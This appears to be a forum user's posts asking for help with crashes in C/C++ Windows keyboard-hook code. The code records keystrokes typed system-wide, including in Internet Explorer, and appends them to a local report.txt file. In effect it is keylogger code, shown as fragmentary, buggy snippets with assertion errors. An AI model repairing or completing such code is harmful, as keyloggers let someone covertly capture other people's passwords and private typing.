please help me
cjsc
Posts
-
GetKeyboardState + iexplore -
GetKeyboardState + iexploreThank for all of you. Sir i found dll from this site. Assertion getting when i click on internet explorer.
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);Here assertion showingWORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); ch = char(w); fwrite(&ch,1,1,f1); } fclose(f1); } }
Assertion
files\internet explore\iexplore.exe
File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
line:77Expression:(stream!=NULL)
Thanks
-
GetKeyboardState + iexplorehi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.
GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch =char(w);
Please help me.
-
Applicatio crashLRESULT CABCDlg::processkey(WPARAM w, LPARAM l)//This block processes the keystroke info. { try { if(hook==1) { GetKeyNameText(l,buffer,20); _strlwr(buffer); if(strlen(buffer)>1) { subst("shift","<SHIFT>"); subst("right shift","<SHIFT>"); subst("tab","<TAB>"); subst("space"," "); subst("backspace","<BACKSPACE>"); subst("delete","<DEL>"); subst("left","<LEFT>"); subst("down","<DOWN>"); subst("up","<UP>"); subst("right","<RIGHT>"); subst("num /","/"); subst("num *","*"); subst("num -","-"); subst("num 0","0"); subst("num 1","1"); subst("num 2","2"); subst("num 3","3"); subst("num 4","4"); subst("num 5","5"); subst("num 6","6"); subst("num 7","7"); subst("num 8","8"); subst("num 9","9"); subst("num +","+"); subst("num enter","<ENTER>"); subst("num del","<DEL>"); subst("esc","<ESC>"); subst("enter","<ENTER>"); subst("caps lock","<CAPSLOCK>"); subst("num lock","<NUMLOCK>"); subst("scroll lock","<SCROLLLOCK>"); subst("ctrl","<CTRL>"); subst("alt","<ALT>"); subst("right ctrl","<CTRL>"); subst("right alt","<ALT>"); subst("pause","<PAUSE>"); subst("insert","<INSERT>"); subst("home","<HOME>"); subst("end","<END>"); subst("page up","<PGUP>"); subst("page down","<PGDN>"); subst("f1","<F1>"); subst("f2","<F2>"); subst("f3","<F3>"); subst("f4","<F4>"); subst("f5","<F5>"); subst("f6","<F6>"); subst("f7","<F7>"); subst("f8","<F8>"); subst("f9","<F9>"); subst("f10","<F10>"); subst("f11","<F11>"); subst("f12","<F12>"); } if(keycount>50) { diskfile->Flush(); keycount = 0; } writedata=AfxBeginThread(WorkerThreadProc,(LPVOID)this); } else { } return 0; } catch (...) { } } UINT WorkerThreadProc( LPVOID Param ) { try { CABCDlg *p=(CABCDlg *) Param; CStdiofile myFile; if( myFile.Open( cpath, CStdioFile::modeCreate | CStdioFile::modeWrite | CStdioFile::modeNoTruncate, &e ) ) { myFile.Writestring(buffer); myFile.close(); } } catch (...) { AfxMessageBox("AddString Final"); } }
-
Applicatio crashHi member i am sock my application crash eventually.I am using 2008 and got assertion.
Windows has triggered a breakpoint in ABC.exe.
This may be due to a corruption of the heap, which indicates a bug in ABC.exe or any of the DLLs it has loaded.
This may also be due to the user pressing F12 while ABC.exe has focus.
The output window may have more diagnostic information.Can any tool is there which denote me where i am wrong. Forum member every help increase me.